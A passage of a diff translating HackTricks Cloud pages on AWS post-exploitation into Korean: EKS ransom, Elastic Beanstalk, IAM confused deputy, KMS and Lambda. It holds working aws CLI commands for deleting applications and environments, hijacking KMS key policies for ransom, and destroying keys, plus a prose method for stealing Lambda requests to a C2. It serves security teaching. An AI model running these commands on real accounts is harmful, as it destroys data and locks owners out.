So when the attacker talks with the EKS cluster, **cloudtrail won't log anything related to the user being stolen and accessing it**.
|
||||
따라서 공격자가 EKS 클러스터와 대화할 때, **cloudtrail은 사용자가 도난당하고 접근하는 것과 관련된 어떤 것도 기록하지 않을 것입니다**.
|
||||
|
||||
Note that the **EKS cluster might have logs enabled** that will log this access (although, by default, they are disabled).
|
||||
**EKS 클러스터는 이 접근을 기록할 수 있는 로그가 활성화되어 있을 수 있습니다**(기본적으로는 비활성화되어 있습니다).
|
||||
|
||||
### EKS Ransom?
|
||||
### EKS 랜섬?
|
||||
|
||||
By default the **user or role that created** a cluster is **ALWAYS going to have admin privileges** over the cluster. And that the only "secure" access AWS will have over the Kubernetes cluster.
|
||||
기본적으로 **클러스터를 생성한 사용자 또는 역할**은 **항상 클러스터에 대한 관리자 권한을 가집니다**. 그리고 AWS가 Kubernetes 클러스터에 대해 가질 수 있는 유일한 "안전한" 접근입니다.
|
||||
|
||||
So, if an **attacker compromises a cluster using fargate** and **removes all the other admins** and d**eletes the AWS user/role that created** the Cluster, ~~the attacker could have **ransomed the cluste**~~**r**.
|
||||
따라서, **공격자가 fargate를 사용하여 클러스터를 손상시키고** **다른 모든 관리자를 제거하며** **클러스터를 생성한 AWS 사용자/역할을 삭제**하면, ~~공격자는 **클러스터를 랜섬**~~**할 수 있습니다**.
|
||||
|
||||
> [!TIP]
|
||||
> Note that if the cluster was using **EC2 VMs**, it could be possible to get Admin privileges from the **Node** and recover the cluster.
|
||||
> 클러스터가 **EC2 VM**을 사용하고 있었다면, **노드**에서 관리자 권한을 얻고 클러스터를 복구할 수 있었을 것입니다.
|
||||
>
|
||||
> Actually, If the cluster is using Fargate you could EC2 nodes or move everything to EC2 to the cluster and recover it accessing the tokens in the node.
|
||||
> 실제로 클러스터가 Fargate를 사용하고 있다면 EC2 노드를 사용하거나 모든 것을 EC2로 이동하여 클러스터를 복구하고 노드의 토큰에 접근할 수 있습니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
For more information:
|
||||
자세한 정보:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
@@ -13,72 +13,58 @@ For more information:
|
||||
### `elasticbeanstalk:DeleteApplicationVersion`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test if more permissions are required for this
|
||||
|
||||
An attacker with the permission `elasticbeanstalk:DeleteApplicationVersion` can **delete an existing application version**. This action could disrupt application deployment pipelines or cause loss of specific application versions if not backed up.
|
||||
> TODO: 더 많은 권한이 필요한지 테스트하기
|
||||
|
||||
`elasticbeanstalk:DeleteApplicationVersion` 권한을 가진 공격자는 **기존 애플리케이션 버전을 삭제**할 수 있습니다. 이 작업은 애플리케이션 배포 파이프라인을 방해하거나 특정 애플리케이션 버전이 백업되지 않은 경우 손실을 초래할 수 있습니다.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of application deployment and potential loss of application versions.
|
||||
**잠재적 영향**: 애플리케이션 배포 중단 및 애플리케이션 버전 손실 가능성.
|
||||
|
||||
### `elasticbeanstalk:TerminateEnvironment`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test if more permissions are required for this
|
||||
|
||||
An attacker with the permission `elasticbeanstalk:TerminateEnvironment` can **terminate an existing Elastic Beanstalk environment**, causing downtime for the application and potential data loss if the environment is not configured for backups.
|
||||
> TODO: 더 많은 권한이 필요한지 테스트하기
|
||||
|
||||
`elasticbeanstalk:TerminateEnvironment` 권한을 가진 공격자는 **기존 Elastic Beanstalk 환경을 종료**할 수 있으며, 이로 인해 애플리케이션의 다운타임이 발생하고 환경이 백업을 위해 구성되지 않은 경우 데이터 손실이 발생할 수 있습니다.
|
||||
```bash
|
||||
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
|
||||
```
|
||||
|
||||
**Potential Impact**: Downtime of the application, potential data loss, and disruption of services.
|
||||
**잠재적 영향**: 애플리케이션의 다운타임, 잠재적인 데이터 손실, 서비스 중단.
|
||||
|
||||
### `elasticbeanstalk:DeleteApplication`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test if more permissions are required for this
|
||||
|
||||
An attacker with the permission `elasticbeanstalk:DeleteApplication` can **delete an entire Elastic Beanstalk application**, including all its versions and environments. This action could cause a significant loss of application resources and configurations if not backed up.
|
||||
> TODO: 이 작업에 더 많은 권한이 필요한지 테스트하기
|
||||
|
||||
`elasticbeanstalk:DeleteApplication` 권한을 가진 공격자는 **전체 Elastic Beanstalk 애플리케이션을 삭제**할 수 있으며, 모든 버전과 환경이 포함됩니다. 이 작업은 백업되지 않은 경우 애플리케이션 리소스와 구성의 상당한 손실을 초래할 수 있습니다.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
|
||||
```
|
||||
|
||||
**Potential Impact**: Loss of application resources, configurations, environments, and application versions, leading to service disruption and potential data loss.
|
||||
**잠재적 영향**: 애플리케이션 리소스, 구성, 환경 및 애플리케이션 버전의 손실로 인해 서비스 중단 및 잠재적인 데이터 손실이 발생할 수 있습니다.
|
||||
|
||||
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test if more permissions are required for this
|
||||
|
||||
An attacker with the `elasticbeanstalk:SwapEnvironmentCNAMEs` permission can **swap the CNAME records of two Elastic Beanstalk environments**, which might cause the wrong version of the application to be served to users or lead to unintended behavior.
|
||||
> TODO: 이 작업에 더 많은 권한이 필요한지 테스트하기
|
||||
|
||||
`elasticbeanstalk:SwapEnvironmentCNAMEs` 권한을 가진 공격자는 **두 개의 Elastic Beanstalk 환경의 CNAME 레코드를 교환**할 수 있으며, 이로 인해 잘못된 버전의 애플리케이션이 사용자에게 제공되거나 의도하지 않은 동작이 발생할 수 있습니다.
|
||||
```bash
|
||||
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
|
||||
```
|
||||
|
||||
**Potential Impact**: Serving the wrong version of the application to users or causing unintended behavior in the application due to swapped environments.
|
||||
**잠재적 영향**: 잘못된 버전의 애플리케이션을 사용자에게 제공하거나 환경이 바뀌어 애플리케이션에서 의도하지 않은 동작을 유발할 수 있습니다.
|
||||
|
||||
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test if more permissions are required for this
|
||||
|
||||
An attacker with the `elasticbeanstalk:AddTags` and `elasticbeanstalk:RemoveTags` permissions can **add or remove tags on Elastic Beanstalk resources**. This action could lead to incorrect resource allocation, billing, or resource management.
|
||||
> TODO: 이 작업에 더 많은 권한이 필요한지 테스트하기
|
||||
|
||||
`elasticbeanstalk:AddTags` 및 `elasticbeanstalk:RemoveTags` 권한을 가진 공격자는 **Elastic Beanstalk 리소스에 태그를 추가하거나 제거할 수 있습니다**. 이 작업은 잘못된 리소스 할당, 청구 또는 리소스 관리로 이어질 수 있습니다.
|
||||
```bash
|
||||
aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
|
||||
|
||||
aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
|
||||
```
|
||||
|
||||
**Potential Impact**: Incorrect resource allocation, billing, or resource management due to added or removed tags.
|
||||
**잠재적 영향**: 추가되거나 제거된 태그로 인한 잘못된 리소스 할당, 청구 또는 리소스 관리.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,104 +4,90 @@
|
||||
|
||||
## IAM
|
||||
|
||||
For more information about IAM access:
|
||||
IAM 접근에 대한 자세한 정보:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Confused Deputy Problem
|
||||
## 혼란스러운 대리인 문제
|
||||
|
||||
If you **allow an external account (A)** to access a **role** in your account, you will probably have **0 visibility** on **who can exactly access that external account**. This is a problem, because if another external account (B) can access the external account (A) it's possible that **B will also be able to access your account**.
|
||||
만약 **외부 계정(A)**이 귀하의 계정에서 **역할**에 접근할 수 있도록 허용하면, **그 외부 계정에 정확히 접근할 수 있는 사람에 대한 가시성은 0**이 될 것입니다. 이는 문제입니다. 왜냐하면 다른 외부 계정(B)이 외부 계정(A)에 접근할 수 있다면, **B가 귀하의 계정에도 접근할 수 있을 가능성이 있기 때문입니다**.
|
||||
|
||||
Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**.
|
||||
따라서 외부 계정이 귀하의 계정에서 역할에 접근할 수 있도록 허용할 때 `ExternalId`를 지정할 수 있습니다. 이는 외부 계정(A)이 **귀하의 조직에서 역할을 맡기 위해 반드시 지정해야 하는** "비밀" 문자열입니다. **외부 계정 B는 이 문자열을 알지 못하기 때문에**, A에 접근할 수 있더라도 **귀하의 역할에 접근할 수 없습니다**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**.
|
||||
|
||||
Example:
|
||||
그러나 이 `ExternalId` "비밀"은 **비밀이 아닙니다**. IAM 역할 맡기 정책을 **읽을 수 있는 사람은 누구나 이를 볼 수 있습니다**. 하지만 외부 계정 A가 이를 알고 있고, 외부 계정 **B는 이를 모른다면**, 이는 **B가 A를 악용하여 귀하의 역할에 접근하는 것을 방지합니다**.
|
||||
|
||||
예시:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": {
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "Example Corp's AWS Account ID"
|
||||
},
|
||||
"Action": "sts:AssumeRole",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"sts:ExternalId": "12345"
|
||||
}
|
||||
}
|
||||
}
|
||||
"Version": "2012-10-17",
|
||||
"Statement": {
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "Example Corp's AWS Account ID"
|
||||
},
|
||||
"Action": "sts:AssumeRole",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"sts:ExternalId": "12345"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> For an attacker to exploit a confused deputy he will need to find somehow if principals of the current account can impersonate roles in other accounts.
|
||||
> 공격자가 혼란스러운 대리인을 이용하려면 현재 계정의 주체가 다른 계정의 역할을 가장할 수 있는지 확인해야 합니다.
|
||||
|
||||
### Unexpected Trusts
|
||||
|
||||
#### Wildcard as principal
|
||||
### 예상치 못한 신뢰
|
||||
|
||||
#### 주체로서의 와일드카드
|
||||
```json
|
||||
{
|
||||
"Action": "sts:AssumeRole",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "AWS": "*" }
|
||||
"Action": "sts:AssumeRole",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
이 정책은 **모든 AWS**가 역할을 맡을 수 있도록 허용합니다.
|
||||
|
||||
This policy **allows all AWS** to assume the role.
|
||||
|
||||
#### Service as principal
|
||||
|
||||
#### 서비스 주체로서
|
||||
```json
|
||||
{
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "apigateway.amazonaws.com" },
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "apigateway.amazonaws.com" },
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
이 정책은 **모든 계정**이 이 Lambda를 호출하도록 apigateway를 구성할 수 있도록 허용합니다.
|
||||
|
||||
This policy **allows any account** to configure their apigateway to call this Lambda.
|
||||
|
||||
#### S3 as principal
|
||||
|
||||
#### S3를 주체로
|
||||
```json
|
||||
"Condition": {
|
||||
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
|
||||
"StringEquals": {
|
||||
"aws:SourceAccount": "123456789012"
|
||||
}
|
||||
"StringEquals": {
|
||||
"aws:SourceAccount": "123456789012"
|
||||
}
|
||||
}
|
||||
```
|
||||
S3 버킷이 주체로 주어지면, S3 버킷에는 계정 ID가 없기 때문에, 만약 **당신의 버킷을 삭제하고 공격자가** 자신의 계정에서 그것을 생성하면, 그들은 이를 악용할 수 있습니다.
|
||||
|
||||
If an S3 bucket is given as a principal, because S3 buckets do not have an Account ID, if you **deleted your bucket and the attacker created** it in their own account, then they could abuse this.
|
||||
|
||||
#### Not supported
|
||||
|
||||
#### 지원되지 않음
|
||||
```json
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "cloudtrail.amazonaws.com" },
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "cloudtrail.amazonaws.com" },
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
|
||||
A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources).
|
||||
Confused Deputy 문제를 피하는 일반적인 방법은 `AWS:SourceArn` 조건을 사용하여 원본 ARN을 확인하는 것입니다. 그러나 **일부 서비스는 이를 지원하지 않을 수 있습니다** (일부 출처에 따르면 CloudTrail과 같은).
|
||||
|
||||
## References
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,134 +4,122 @@
|
||||
|
||||
## KMS
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Encrypt/Decrypt information
|
||||
### 정보 암호화/복호화
|
||||
|
||||
`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
|
||||
`fileb://` 및 `file://`는 AWS CLI 명령에서 로컬 파일의 경로를 지정하는 데 사용되는 URI 스킴입니다:
|
||||
|
||||
- `fileb://:` Reads the file in binary mode, commonly used for non-text files.
|
||||
- `file://:` Reads the file in text mode, typically used for plain text files, scripts, or JSON that doesn't have special encoding requirements.
|
||||
- `fileb://:` 이진 모드로 파일을 읽습니다. 일반적으로 비텍스트 파일에 사용됩니다.
|
||||
- `file://:` 텍스트 모드로 파일을 읽습니다. 일반적으로 일반 텍스트 파일, 스크립트 또는 특별한 인코딩 요구 사항이 없는 JSON에 사용됩니다.
|
||||
|
||||
> [!TIP]
|
||||
> Note that if you want to decrypt some data inside a file, the file must contain the binary data, not base64 encoded data. (fileb://)
|
||||
|
||||
- Using a **symmetric** key
|
||||
> 파일 내의 데이터를 복호화하려면 파일이 base64로 인코딩된 데이터가 아닌 이진 데이터를 포함해야 합니다. (fileb://)
|
||||
|
||||
- **대칭** 키 사용
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
|
||||
- Using a **asymmetric** key:
|
||||
|
||||
- **비대칭** 키 사용:
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
### KMS 랜섬웨어
|
||||
|
||||
### KMS Ransomware
|
||||
KMS에 대한 권한이 있는 공격자는 키의 KMS 정책을 수정하고 **자신의 계정에 대한 액세스를 부여**하여 정당한 계정에 부여된 액세스를 제거할 수 있습니다.
|
||||
|
||||
An attacker with privileged access over KMS could modify the KMS policy of keys and **grant his account access over them**, removing the access granted to the legit account.
|
||||
|
||||
Then, the legit account users won't be able to access any informatcion of any service that has been encrypted with those keys, creating an easy but effective ransomware over the account.
|
||||
그런 다음, 정당한 계정 사용자는 이러한 키로 암호화된 서비스의 정보에 접근할 수 없게 되어 계정에 대한 쉽지만 효과적인 랜섬웨어를 생성하게 됩니다.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that **AWS managed keys aren't affected** by this attack, only **Customer managed keys**.
|
||||
|
||||
> Also note the need to use the param **`--bypass-policy-lockout-safety-check`** (the lack of this option in the web console makes this attack only possible from the CLI).
|
||||
> **AWS 관리 키는** 이 공격의 영향을 받지 않으며, **고객 관리 키만** 영향을 받습니다.
|
||||
|
||||
> 또한 **`--bypass-policy-lockout-safety-check`** 매개변수를 사용해야 한다는 점에 유의하십시오(웹 콘솔에서 이 옵션이 없으면 이 공격은 CLI에서만 가능하게 됩니다).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
--policy-name default \
|
||||
--policy file:///tmp/policy.yaml \
|
||||
--bypass-policy-lockout-safety-check
|
||||
--policy-name default \
|
||||
--policy file:///tmp/policy.yaml \
|
||||
--bypass-policy-lockout-safety-check
|
||||
|
||||
{
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<your_own_account>:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<your_own_account>:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if you change that policy and only give access to an external account, and then from this external account you try to set a new policy to **give the access back to original account, you won't be able**.
|
||||
> 정책을 변경하고 외부 계정에만 액세스를 부여한 후, 이 외부 계정에서 **원래 계정에 대한 액세스를 다시 부여하는 새로운 정책을 설정하려고 하면, 할 수 없습니다**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Generic KMS Ransomware
|
||||
### 일반 KMS 랜섬웨어
|
||||
|
||||
#### Global KMS Ransomware
|
||||
#### 글로벌 KMS 랜섬웨어
|
||||
|
||||
There is another way to perform a global KMS Ransomware, which would involve the following steps:
|
||||
글로벌 KMS 랜섬웨어를 수행하는 또 다른 방법이 있으며, 다음 단계를 포함합니다:
|
||||
|
||||
- Create a new **key with a key material** imported by the attacker
|
||||
- **Re-encrypt older data** encrypted with the previous version with the new one.
|
||||
- **Delete the KMS key**
|
||||
- Now only the attacker, who has the original key material could be able to decrypt the encrypted data
|
||||
|
||||
### Destroy keys
|
||||
- 공격자가 가져온 **키 자료로 새 키를 생성합니다**
|
||||
- **이전 버전으로 암호화된 오래된 데이터를** 새 키로 **재암호화합니다**.
|
||||
- **KMS 키를 삭제합니다**
|
||||
- 이제 원래 키 자료를 가진 공격자만 암호화된 데이터를 복호화할 수 있습니다.
|
||||
|
||||
### 키 파괴
|
||||
```bash
|
||||
# Destoy they key material previously imported making the key useless
|
||||
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
|
||||
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--pending-window-in-days 7
|
||||
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that AWS now **prevents the previous actions from being performed from a cross account:**
|
||||
> AWS는 이제 **이전 작업이 교차 계정에서 수행되는 것을 방지합니다:**
|
||||
|
||||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,30 +4,26 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Steal Others Lambda URL Requests
|
||||
### 다른 사용자의 Lambda URL 요청 훔치기
|
||||
|
||||
If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
|
||||
공격자가 Lambda 내부에서 RCE를 얻는 데 성공하면 다른 사용자의 HTTP 요청을 훔칠 수 있습니다. 요청에 민감한 정보(쿠키, 자격 증명 등)가 포함되어 있다면 이를 훔칠 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
### 다른 사용자의 Lambda URL 요청 및 확장 요청 훔치기
|
||||
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
Lambda Layers를 악용하면 확장을 악용하고 Lambda에 지속적으로 남아 요청을 훔치고 수정할 수도 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,42 +1,41 @@
|
||||
# AWS - Steal Lambda Requests
|
||||
# AWS - Lambda 요청 훔치기
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda Flow
|
||||
## Lambda 흐름
|
||||
|
||||
<figure><img src="../../../../images/image (341).png" alt=""><figcaption><p><a href="https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png">https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png</a></p></figcaption></figure>
|
||||
|
||||
1. **Slicer** is a process outside the container that **send** **invocations** to the **init** process.
|
||||
2. The init process listens on port **9001** exposing some interesting endpoints:
|
||||
- **`/2018-06-01/runtime/invocation/next`** – get the next invocation event
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – return the handler response for the invoke
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – return an execution error
|
||||
3. **bootstrap.py** has a loop getting invocations from the init process and calls the users code to handle them (**`/next`**).
|
||||
4. Finally, **bootstrap.py** sends to init the **response**
|
||||
1. **Slicer**는 컨테이너 외부의 프로세스로, **init** 프로세스에 **호출**을 **전송**합니다.
|
||||
2. init 프로세스는 포트 **9001**에서 몇 가지 흥미로운 엔드포인트를 노출합니다:
|
||||
- **`/2018-06-01/runtime/invocation/next`** – 다음 호출 이벤트 가져오기
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – 호출에 대한 핸들러 응답 반환
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – 실행 오류 반환
|
||||
3. **bootstrap.py**는 init 프로세스에서 호출을 가져오는 루프를 가지고 있으며, 이를 처리하기 위해 사용자 코드를 호출합니다 (**`/next`**).
|
||||
4. 마지막으로, **bootstrap.py**는 init에 **응답**을 전송합니다.
|
||||
|
||||
Note that bootstrap loads the user code as a module, so any code execution performed by the users code is actually happening in this process.
|
||||
bootstrap은 사용자 코드를 모듈로 로드하므로, 사용자 코드에 의해 수행된 모든 코드 실행은 실제로 이 프로세스에서 발생합니다.
|
||||
|
||||
## Stealing Lambda Requests
|
||||
## Lambda 요청 훔치기
|
||||
|
||||
The goal of this attack is to make the users code execute a malicious **`bootstrap.py`** process inside the **`bootstrap.py`** process that handle the vulnerable request. This way, the **malicious bootstrap** process will start **talking with the init process** to handle the requests while the **legit** bootstrap is **trapped** running the malicious one, so it won't ask for requests to the init process.
|
||||
이 공격의 목표는 사용자의 코드가 취약한 요청을 처리하는 **`bootstrap.py`** 프로세스 내에서 악성 **`bootstrap.py`** 프로세스를 실행하도록 만드는 것입니다. 이렇게 하면 **악성 bootstrap** 프로세스가 요청을 처리하기 위해 **init 프로세스와 대화**를 시작하고, **정상** bootstrap은 악성 프로세스를 실행 중에 **갇히게** 되어 init 프로세스에 요청을 요청하지 않게 됩니다.
|
||||
|
||||
This is a simple task to achieve as the code of the user is being executed by the legit **`bootstrap.py`** process. So the attacker could:
|
||||
사용자의 코드가 정상 **`bootstrap.py`** 프로세스에 의해 실행되고 있기 때문에, 이는 간단한 작업입니다. 따라서 공격자는 다음을 수행할 수 있습니다:
|
||||
|
||||
- **Send a fake result of the current invocation to the init process**, so init thinks the bootstrap process is waiting for more invocations.
|
||||
- A request must be sent to **`/${invoke-id}/response`**
|
||||
- The invoke-id can be obtained from the stack of the legit **`bootstrap.py`** process using the [**inspect**](https://docs.python.org/3/library/inspect.html) python module (as [proposed here](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) or just requesting it again to **`/2018-06-01/runtime/invocation/next`** (as [proposed here](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
|
||||
- Execute a malicious **`boostrap.py`** which will handle the next invocations
|
||||
- For stealthiness purposes it's possible to send the lambda invocations parameters to an attackers controlled C2 and then handle the requests as usual.
|
||||
- For this attack, it's enough to get the original code of **`bootstrap.py`** from the system or [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), add the malicious code and run it from the current lambda invocation.
|
||||
- **현재 호출의 가짜 결과를 init 프로세스에 전송**하여 init이 bootstrap 프로세스가 더 많은 호출을 기다리고 있다고 생각하게 만듭니다.
|
||||
- **`/${invoke-id}/response`**에 요청을 전송해야 합니다.
|
||||
- invoke-id는 정상 **`bootstrap.py`** 프로세스의 스택에서 [**inspect**](https://docs.python.org/3/library/inspect.html) 파이썬 모듈을 사용하여 얻거나, **`/2018-06-01/runtime/invocation/next`**에 다시 요청하여 얻을 수 있습니다 (여기서 [제안됨](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
|
||||
- 다음 호출을 처리할 악성 **`boostrap.py`**를 실행합니다.
|
||||
- 은폐를 위해 lambda 호출 매개변수를 공격자가 제어하는 C2로 전송한 후 요청을 평소처럼 처리할 수 있습니다.
|
||||
